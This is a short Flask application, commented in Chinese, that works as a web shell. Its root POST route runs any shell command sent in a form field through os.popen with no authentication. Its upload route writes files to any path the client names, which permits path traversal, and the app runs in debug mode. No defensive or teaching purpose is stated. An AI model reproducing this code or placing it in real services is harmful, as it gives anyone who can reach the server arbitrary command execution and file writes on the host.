from flask import Flask, request, Blueprint
import os
import base64

app = Flask(__name__)

@app.route('/', methods=['POST'])
def hello_world():
    command = request.form['command']
    print(command)
    output = os.popen(command).read()
    print(base64.b64decode(output).decode('utf-8'))
    return 'Hello, World!'

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = file.filename
    file_path = filename
    print(file_path)
    file.save(file_path)

# 创建一个名为 'admin' 的 Blueprint，它的所有路由都会以 '/admin' 开头
admin = Blueprint('admin', __name__, url_prefix='/admin')

# 在 Blueprint 中定义一个简单的路由
@admin.route('/')
def admin_index():
    return "Admin Home Page"

# 注册 Blueprint
app.register_blueprint(admin)

if __name__ == '__main__':
    app.run(debug=True)

# 参考：https://lxblog.com/qianwen/share?shareId=f76e5938-af0f-4511-ba48-60364be9318e